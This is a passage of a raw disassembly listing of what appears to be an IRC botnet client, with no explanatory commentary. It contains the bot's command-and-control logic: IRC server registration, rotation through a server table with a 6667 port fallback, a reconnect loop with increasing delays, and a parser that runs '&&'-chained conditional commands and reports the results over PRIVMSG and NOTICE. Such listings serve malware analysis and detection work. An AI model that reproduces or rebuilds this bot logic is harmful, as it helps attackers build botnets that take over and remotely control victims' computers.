loc_408CBB:				; CODE XREF: sub_407A76+104Cj
					; sub_407A76+1058j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40677A
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408CCC:				; CODE XREF: sub_407A76+1034j
					; sub_407A76+1040j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4062CF
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_408CDD:				; CODE XREF: sub_407A76+FF7j
					; sub_407A76+1003j
		push	offset dword_418FD0
		push	3AEh
		push	0
		lea	eax, [ebp+var_208]
		push	offset dword_414710
		push	eax
		call	sub_4096CB

loc_408CFA:				; CODE XREF: sub_407A76+9A8j
		add	esp, 14h
		jmp	short loc_408D69
; ---------------------------------------------------------------------------

loc_408CFF:				; CODE XREF: sub_407A76+CA6j
					; sub_407A76+CB2j
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_4097DB
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	sub_409522
		jmp	loc_408A9C
; ---------------------------------------------------------------------------

loc_408D1C:				; CODE XREF: sub_407A76+C6Fj
					; sub_407A76+C7Bj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4018D5

loc_408D2E:				; CODE XREF: sub_407A76+AAj
					; sub_407A76+29Dj ...
		pop	ecx
		jmp	short loc_408D68
; ---------------------------------------------------------------------------

loc_408D31:				; CODE XREF: sub_407A76+BB6j
					; sub_407A76+BC2j ...
		push	offset aQuitExitting ; "QUIT :exitting"

loc_408D36:				; CODE XREF: sub_407A76+B26j
		call	sub_4097DB
		jmp	short loc_408D68
; ---------------------------------------------------------------------------

loc_408D3D:				; CODE XREF: sub_407A76+719j
					; sub_407A76+725j ...
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40F2C2
		jmp	loc_408235
; ---------------------------------------------------------------------------

loc_408D5D:				; CODE XREF: sub_407A76+5B6j
					; sub_407A76+5C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_409843

loc_408D68:				; CODE XREF: sub_407A76+71j
					; sub_407A76+2B6j ...
		pop	ecx

loc_408D69:				; CODE XREF: sub_407A76+DEj
					; sub_407A76+12Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D6E	proc near		; CODE XREF: sub_408E1A+320p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]

loc_408D72:				; CODE XREF: sub_408D6E+10j
		mov	cl, [eax]
		cmp	cl, 20h
		jnz	short locret_408D80
		test	cl, cl
		jz	short locret_408D80
		inc	eax
		jmp	short loc_408D72
; ---------------------------------------------------------------------------

locret_408D80:				; CODE XREF: sub_408D6E+9j
					; sub_408D6E+Dj
		retn
sub_408D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D81	proc near		; DATA XREF: sub_409149+4Eo

var_52C		= byte ptr -52Ch
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_187		= byte ptr -187h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 52Ch
		push	esi
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_4]
		mov	esi, offset asc_414F50 ; ";"
		push	eax
		lea	eax, [ebp+var_328]
		push	esi
		push	eax
		call	sub_405E4F
		add	esp, 1Ch

loc_408DC0:				; CODE XREF: sub_408D81+84j
		test	eax, eax
		jz	short loc_408E07

loc_408DC4:				; CODE XREF: sub_408D81+49j
		cmp	byte ptr [eax],	20h
		jnz	short loc_408DCC
		inc	eax
		jmp	short loc_408DC4
; ---------------------------------------------------------------------------

loc_408DCC:				; CODE XREF: sub_408D81+46j
		push	eax
		lea	eax, [ebp+var_187]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		lea	eax, [ebp+var_52C]
		push	200h
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_52C]
		push	eax
		call	sub_40A236
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	0
		call	sub_405E4F
		add	esp, 24h
		jmp	short loc_408DC0
; ---------------------------------------------------------------------------

loc_408E07:				; CODE XREF: sub_408D81+41j
		push	[ebp+var_32C]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_408D81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E1A	proc near		; CODE XREF: sub_409149+6p

var_1D4		= byte ptr -1D4h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1D4h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		test	esi, esi
		jz	loc_409142
		cmp	byte ptr [esi],	28h
		jnz	loc_409142
		inc	esi
		push	offset asc_414FB8 ; ")"
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	loc_409142
		sub	eax, esi
		lea	ecx, [eax+1]
		mov	eax, 180h
		cmp	ecx, eax
		ja	short loc_408E63
		mov	eax, ecx

loc_408E63:				; CODE XREF: sub_408E1A+45j
		push	eax
		lea	eax, [ebp+var_1D4]
		push	esi
		push	eax
		call	sub_4059C2
		push	1
		lea	eax, [ebp+var_1D4]
		push	1
		push	eax
		call	sub_405AD6
		lea	eax, [ebp+arg_0]
		mov	ebx, offset asc_414FB4 ; "&&"
		push	eax
		lea	eax, [ebp+var_1D4]
		push	ebx
		push	eax
		call	sub_405E4F
		add	esp, 24h

loc_408E9A:				; CODE XREF: sub_408E1A+316j
		test	eax, eax
		jz	loc_409135

loc_408EA2:				; CODE XREF: sub_408E1A+8Ej
		cmp	byte ptr [eax],	20h
		jnz	short loc_408EAA
		inc	eax
		jmp	short loc_408EA2
; ---------------------------------------------------------------------------

loc_408EAA:				; CODE XREF: sub_408E1A+8Bj
		lea	ecx, [ebp+var_54]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		lea	ecx, [ebp+var_34]
		push	ecx
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	eax
		call	sub_411522	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jnz	loc_409142
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_41151C	; atoi
		mov	edi, eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41151C	; atoi
		pop	ecx
		mov	esi, eax
		test	edi, edi
		pop	ecx
		jnz	loc_408FB7
		lea	eax, [ebp+var_34]
		push	offset dword_413F58
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB7
		lea	eax, [ebp+var_34]
		push	offset aUptime	; "$uptime"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F2C
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		jmp	loc_408FB5
; ---------------------------------------------------------------------------

loc_408F2C:				; CODE XREF: sub_408E1A+FDj
		lea	eax, [ebp+var_34]
		push	offset aVersion	; "$version"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F47
		mov	edi, 3AEh
		jmp	short loc_408FB7
; ---------------------------------------------------------------------------

loc_408F47:				; CODE XREF: sub_408E1A+124j
		lea	eax, [ebp+var_34]
		push	offset aFree_0	; "$free"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F62
		call	sub_4067B2
		jmp	short loc_408FB5
; ---------------------------------------------------------------------------

loc_408F62:				; CODE XREF: sub_408E1A+13Fj
		lea	eax, [ebp+var_34]
		push	offset aLatency	; "$latency"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F7D
		call	sub_406373
		jmp	short loc_408FB5
; ---------------------------------------------------------------------------

loc_408F7D:				; CODE XREF: sub_408E1A+15Aj
		lea	eax, [ebp+var_34]
		push	offset aFirewall ; "$firewall"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408F98
		call	sub_4032D2
		jmp	short loc_408FB5
; ---------------------------------------------------------------------------

loc_408F98:				; CODE XREF: sub_408E1A+175j
		lea	eax, [ebp+var_34]
		push	offset aIpv6	; "$ipv6"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409142
		call	sub_4033F9

loc_408FB5:				; CODE XREF: sub_408E1A+10Dj
					; sub_408E1A+146j ...
		mov	edi, eax

loc_408FB7:				; CODE XREF: sub_408E1A+CDj
					; sub_408E1A+E5j ...
		test	esi, esi
		jnz	loc_409089
		lea	eax, [ebp+var_54]
		push	offset dword_413F58
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409089
		lea	eax, [ebp+var_54]
		push	offset aUptime	; "$uptime"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408FFE
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		jmp	loc_409087
; ---------------------------------------------------------------------------

loc_408FFE:				; CODE XREF: sub_408E1A+1CFj
		lea	eax, [ebp+var_54]
		push	offset aVersion	; "$version"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409019
		mov	esi, 3AEh
		jmp	short loc_409089
; ---------------------------------------------------------------------------

loc_409019:				; CODE XREF: sub_408E1A+1F6j
		lea	eax, [ebp+var_54]
		push	offset aFree_0	; "$free"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409034
		call	sub_4067B2
		jmp	short loc_409087
; ---------------------------------------------------------------------------

loc_409034:				; CODE XREF: sub_408E1A+211j
		lea	eax, [ebp+var_54]
		push	offset aLatency	; "$latency"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40904F
		call	sub_406373
		jmp	short loc_409087
; ---------------------------------------------------------------------------

loc_40904F:				; CODE XREF: sub_408E1A+22Cj
		lea	eax, [ebp+var_54]
		push	offset aFirewall ; "$firewall"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40906A
		call	sub_4032D2
		jmp	short loc_409087
; ---------------------------------------------------------------------------

loc_40906A:				; CODE XREF: sub_408E1A+247j
		lea	eax, [ebp+var_54]
		push	offset aIpv6	; "$ipv6"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409142
		call	sub_4033F9

loc_409087:				; CODE XREF: sub_408E1A+1DFj
					; sub_408E1A+218j ...
		mov	esi, eax

loc_409089:				; CODE XREF: sub_408E1A+19Fj
					; sub_408E1A+1B7j ...
		lea	eax, [ebp+var_14]
		push	offset asc_414F64 ; "=="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090A5
		cmp	edi, esi
		jnz	loc_409142

loc_4090A5:				; CODE XREF: sub_408E1A+281j
		lea	eax, [ebp+var_14]
		push	offset asc_414F60 ; "!="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090C1
		cmp	edi, esi
		jz	loc_409142

loc_4090C1:				; CODE XREF: sub_408E1A+29Dj
		lea	eax, [ebp+var_14]
		push	offset asc_414F5C ; ">"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090D9
		cmp	edi, esi
		jbe	short loc_409142

loc_4090D9:				; CODE XREF: sub_408E1A+2B9j
		lea	eax, [ebp+var_14]
		push	offset asc_414F58 ; ">="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4090F1
		cmp	edi, esi
		jb	short loc_409142

loc_4090F1:				; CODE XREF: sub_408E1A+2D1j
		lea	eax, [ebp+var_14]
		push	offset dword_414988
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409109
		cmp	edi, esi
		jnb	short loc_409142

loc_409109:				; CODE XREF: sub_408E1A+2E9j
		lea	eax, [ebp+var_14]
		push	offset asc_414F54 ; "<="
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409121
		cmp	edi, esi
		ja	short loc_409142

loc_409121:				; CODE XREF: sub_408E1A+301j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		call	sub_405E4F
		add	esp, 0Ch
		jmp	loc_408E9A
; ---------------------------------------------------------------------------

loc_409135:				; CODE XREF: sub_408E1A+82j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_408D6E
		pop	ecx
		jmp	short loc_409144
; ---------------------------------------------------------------------------

loc_409142:				; CODE XREF: sub_408E1A+11j
					; sub_408E1A+1Aj ...
		xor	eax, eax

loc_409144:				; CODE XREF: sub_408E1A+326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_409149	proc near		; CODE XREF: sub_407A76+C96p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		call	sub_408E1A
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4091A4
		push	327h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4091A4
		push	180h
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_4059C2
		push	[esp+14h+arg_0]
		lea	eax, [esi+184h]
		push	eax
		call	sub_40457C
		add	esp, 14h
		push	edi
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	esi
		push	offset sub_408D81
		call	sub_406D58
		add	esp, 14h

loc_4091A4:				; CODE XREF: sub_409149+10j
					; sub_409149+21j
		pop	edi
		pop	esi
		retn
sub_409149	endp


; =============== S U B	R O U T	I N E =======================================



sub_4091A7	proc near		; CODE XREF: sub_401B81+77p
					; sub_409918+461p ...
		mov	eax, dword_419D44
		retn
sub_4091A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091AD	proc near		; CODE XREF: sub_409522+10p
					; sub_409522+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		mov	edi, offset byte_419AB8
		jz	short loc_4091FC
		push	[ebp+arg_0]
		push	offset dword_419C38
		call	sub_4114B8	; _mbscpy
		cmp	[ebp+arg_4], ebx
		pop	ecx
		pop	ecx
		jz	short loc_4091D8
		push	[ebp+arg_4]
		jmp	short loc_4091DD
; ---------------------------------------------------------------------------

loc_4091D8:				; CODE XREF: sub_4091AD+24j
		push	offset a6667	; "6667"

loc_4091DD:				; CODE XREF: sub_4091AD+29j
		mov	ebx, offset dword_419D38
		push	ebx
		call	sub_4114B8	; _mbscpy
		cmp	[ebp+arg_8], 0
		pop	ecx
		pop	ecx
		jz	short loc_4091F5
		push	[ebp+arg_8]
		jmp	short loc_409251
; ---------------------------------------------------------------------------

loc_4091F5:				; CODE XREF: sub_4091AD+41j
		push	offset byte_4191D0
		jmp	short loc_409251
; ---------------------------------------------------------------------------

loc_4091FC:				; CODE XREF: sub_4091AD+10j
		xor	esi, esi
		cmp	off_418E20, ebx
		jz	short loc_409213
		mov	eax, offset off_418E20

loc_40920B:				; CODE XREF: sub_4091AD+64j
		add	eax, 0Ch
		inc	esi
		cmp	[eax], ebx
		jnz	short loc_40920B

loc_409213:				; CODE XREF: sub_4091AD+57j
		call	sub_40B480
		xor	edx, edx
		div	esi
		lea	esi, [edx+edx*2]
		shl	esi, 2
		push	off_418E20[esi]
		push	offset dword_419C38
		call	sub_4114B8	; _mbscpy
		push	off_418E24[esi]
		mov	ebx, offset dword_419D38
		push	ebx
		call	sub_4114B8	; _mbscpy
		mov	esi, off_418E28[esi]
		add	esp, 10h
		test	esi, esi
		jz	short loc_409259
		push	esi

loc_409251:				; CODE XREF: sub_4091AD+46j
					; sub_4091AD+4Dj
		push	edi
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_409259:				; CODE XREF: sub_4091AD+A1j
		push	offset dword_419C38
		call	sub_40B5A8
		push	ebx
		call	sub_40B5A8
		push	edi
		call	sub_40B5A8
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4091AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409277	proc near		; CODE XREF: sub_409522+B9p
					; sub_409918+4BFp

var_238		= byte ptr -238h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_404A70
		add	esp, 0Ch
		cmp	byte_419AB8, 0
		jz	short loc_4092C7
		mov	esi, offset byte_419AB8
		push	esi
		call	sub_40B5E1
		pop	ecx
		push	esi
		push	offset aPassS	; "PASS	%s"
		call	sub_4097DB
		push	esi
		call	sub_40B5A8
		add	esp, 0Ch

loc_4092C7:				; CODE XREF: sub_409277+2Ej
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jz	short loc_40934B
		cmp	byte_41A268, 0
		jz	short loc_4092E5
		lea	eax, [ebp+var_120]
		push	offset byte_41A268
		push	eax
		jmp	short loc_4092F1
; ---------------------------------------------------------------------------

loc_4092E5:				; CODE XREF: sub_409277+5Ej
		lea	eax, [ebp+var_120]
		push	eax
		push	offset byte_41A268

loc_4092F1:				; CODE XREF: sub_409277+6Cj
		call	sub_4114B8	; _mbscpy
		cmp	byte_41A3E8, 0
		pop	ecx
		pop	ecx
		jz	short loc_40930F
		lea	eax, [ebp+var_238]
		push	offset byte_41A3E8
		push	eax
		jmp	short loc_40931B
; ---------------------------------------------------------------------------

loc_40930F:				; CODE XREF: sub_409277+88j
		lea	eax, [ebp+var_238]
		push	eax
		push	offset byte_41A3E8

loc_40931B:				; CODE XREF: sub_409277+96j
		call	sub_4114B8	; _mbscpy
		pop	ecx
		lea	eax, [ebp+var_238]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_4097DB
		add	esp, 14h

loc_40934B:				; CODE XREF: sub_409277+55j
		cmp	[ebp+arg_4], esi
		jz	loc_40951F
		cmp	[ebp+arg_0], esi
		jz	short loc_409378
		cmp	byte_41A1E8, 0
		jz	short loc_409378
		push	offset byte_41A1E8
		push	offset dword_414F0C
		call	sub_4097DB
		pop	ecx
		pop	ecx
		jmp	loc_40951F
; ---------------------------------------------------------------------------

loc_409378:				; CODE XREF: sub_409277+E0j
					; sub_409277+E9j
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, 4
		mov	[ebp+arg_4], eax
		jnb	short loc_4093C8
		call	sub_404DAD
		test	eax, eax
		jnz	short loc_4093C8
		lea	eax, [ebp+var_A0]
		push	offset dword_418E44
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4098C7
		add	esp, 10h
		jmp	loc_4094FA
; ---------------------------------------------------------------------------

loc_4093C8:				; CODE XREF: sub_409277+115j
					; sub_409277+11Ej
		call	sub_404D00
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_405F9A
		test	eax, eax
		pop	ecx
		jnz	short loc_4093EB
		lea	eax, [ebp+var_20]
		push	offset aUnk	; "UNK"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_4093EB:				; CODE XREF: sub_409277+162j
		call	sub_4067B2
		mov	ecx, 400h
		cmp	eax, ecx
		jbe	short loc_409400
		call	sub_4067B2
		jmp	short loc_409402
; ---------------------------------------------------------------------------

loc_409400:				; CODE XREF: sub_409277+180j
		mov	eax, ecx

loc_409402:				; CODE XREF: sub_409277+187j
		shr	eax, 0Ah
		push	ebx
		mov	[ebp+arg_0], eax
		call	sub_406373
		cmp	eax, 2EEh
		mov	ebx, offset aB	; "B"
		jnb	short loc_40941F
		mov	ebx, offset aA	; "A"

loc_40941F:				; CODE XREF: sub_409277+1A1j
		cmp	eax, 1F4h
		jnb	short loc_40942B
		mov	ebx, offset aG	; "G"

loc_40942B:				; CODE XREF: sub_409277+1ADj
		push	edi
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_1B0]
		mov	[ebp+var_1B4], 94h
		rep stosd
		lea	eax, [ebp+var_1B4]
		push	eax
		call	dword_412034	; GetVersionExA
		cmp	[ebp+var_1B0], 5
		pop	edi
		jnz	short loc_409466
		cmp	[ebp+var_1AC], 1
		jnz	short loc_409466
		push	1
		pop	esi

loc_409466:				; CODE XREF: sub_409277+1E1j
					; sub_409277+1EAj
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		test	esi, esi
		push	eax
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	5Dh
		push	[ebp+arg_4]
		push	5Bh
		push	5Dh
		push	eax
		push	5Bh
		lea	eax, [ebp+var_A0]
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 34h
		cmp	byte_418ED0, 0
		pop	ebx
		jz	short loc_4094FA
		mov	esi, offset dword_418E50
		push	offset byte_418ED0
		push	esi
		call	sub_4114B8	; _mbscpy
		push	esi
		call	sub_40B5E1
		add	esp, 0Ch
		cmp	byte_418F50, 0
		jz	short loc_4094FA
		mov	esi, offset dword_41A0E8
		push	offset byte_418F50
		push	esi
		call	sub_4114B8	; _mbscpy
		push	esi
		call	sub_40B5E1
		add	esp, 0Ch

loc_4094FA:				; CODE XREF: sub_409277+14Cj
					; sub_409277+246j ...
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset dword_414F0C
		call	sub_4097DB
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset byte_41A1E8
		call	sub_4114B8	; _mbscpy
		add	esp, 10h

loc_40951F:				; CODE XREF: sub_409277+D7j
					; sub_409277+FCj
		pop	esi
		leave
		retn
sub_409277	endp


; =============== S U B	R O U T	I N E =======================================



sub_409522	proc near		; CODE XREF: sub_407A76+129Cp
					; sub_409918+3B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	[esp+10h+arg_8]
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	sub_4091AD
		push	dword_419D44
		call	sub_403D70
		mov	edi, offset dword_419C38
		mov	ebp, 0EA60h
		push	edi
		call	sub_40B5E1
		mov	esi, offset dword_419D38
		push	esi
		call	sub_40B5E1
		mov	ebx, 2710h
		push	ebx
		push	1
		push	esi
		push	edi
		call	sub_403C04
		push	edi
		mov	dword_419D44, eax
		call	sub_40B5A8
		push	esi
		call	sub_40B5A8
		add	esp, 30h

loc_409580:				; CODE XREF: sub_409522+B3j
		cmp	dword_419D44, 0
		jnz	short loc_4095D7
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_4091AD
		add	esp, 0Ch
		push	ebp
		call	dword_4120A4	; Sleep
		cmp	ebp, 0A4CB80h
		jge	short loc_4095AB
		add	ebp, 0EA60h

loc_4095AB:				; CODE XREF: sub_409522+81j
		push	edi
		call	sub_40B5E1
		push	esi
		call	sub_40B5E1
		push	ebx
		push	1
		push	esi
		push	edi
		call	sub_403C04
		push	edi
		mov	dword_419D44, eax
		call	sub_40B5A8
		push	esi
		call	sub_40B5A8
		add	esp, 20h
		jmp	short loc_409580
; ---------------------------------------------------------------------------

loc_4095D7:				; CODE XREF: sub_409522+65j
		push	1
		push	1
		call	sub_409277
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409522	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095E7	proc near		; CODE XREF: sub_401B81+14Dp
					; sub_407A76+B05p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	offset aNoticeS	; "NOTICE %s :"
		push	eax
		call	sub_4114DC	; sprintf
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, 1000h
		push	[ebp+arg_4]
		sub	ecx, eax
		lea	eax, [ebp+eax+var_1000]
		push	ecx
		push	eax
		call	sub_411790	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 34h
		leave
		retn
sub_4095E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409659	proc near		; CODE XREF: sub_401B81+184p
					; sub_40287C+10Ep ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		push	eax
		call	sub_4114DC	; sprintf
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, 1000h
		push	[ebp+arg_4]
		sub	ecx, eax
		lea	eax, [ebp+eax+var_1000]
		push	ecx
		push	eax
		call	sub_411790	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 34h
		leave
		retn
sub_409659	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096CB	proc near		; CODE XREF: sub_4011C4+4Cp
					; sub_4011C4+21Bp ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+198h], 0
		jnz	loc_4097D8
		mov	eax, [esi+121h]
		push	edi
		cmp	eax, 1
		jnz	short loc_409700
		lea	eax, [esi+21h]
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		jmp	short loc_409725
; ---------------------------------------------------------------------------

loc_409700:				; CODE XREF: sub_4096CB+28j
		cmp	eax, 2
		jnz	short loc_409710
		lea	eax, [esi+21h]
		push	eax
		push	offset dword_415060
		jmp	short loc_409725
; ---------------------------------------------------------------------------

loc_409710:				; CODE XREF: sub_4096CB+38j
		cmp	eax, 3
		lea	eax, [esi+21h]
		push	eax
		jnz	short loc_409720
		push	offset dword_415050
		jmp	short loc_409725
; ---------------------------------------------------------------------------

loc_409720:				; CODE XREF: sub_4096CB+4Cj
		push	offset aPrivmsgS ; "PRIVMSG %s :"

loc_409725:				; CODE XREF: sub_4096CB+33j
					; sub_4096CB+43j ...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 0Ch
		cmp	dword ptr [esi+19Fh], 0
		mov	edi, eax
		jz	short loc_409762
		mov	eax, [esi+121h]
		cmp	eax, 2
		jz	short loc_40974F
		cmp	eax, 3
		jnz	short loc_409762

loc_40974F:				; CODE XREF: sub_4096CB+7Dj
		lea	eax, [ebp+var_1000]
		push	offset dword_415044
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx

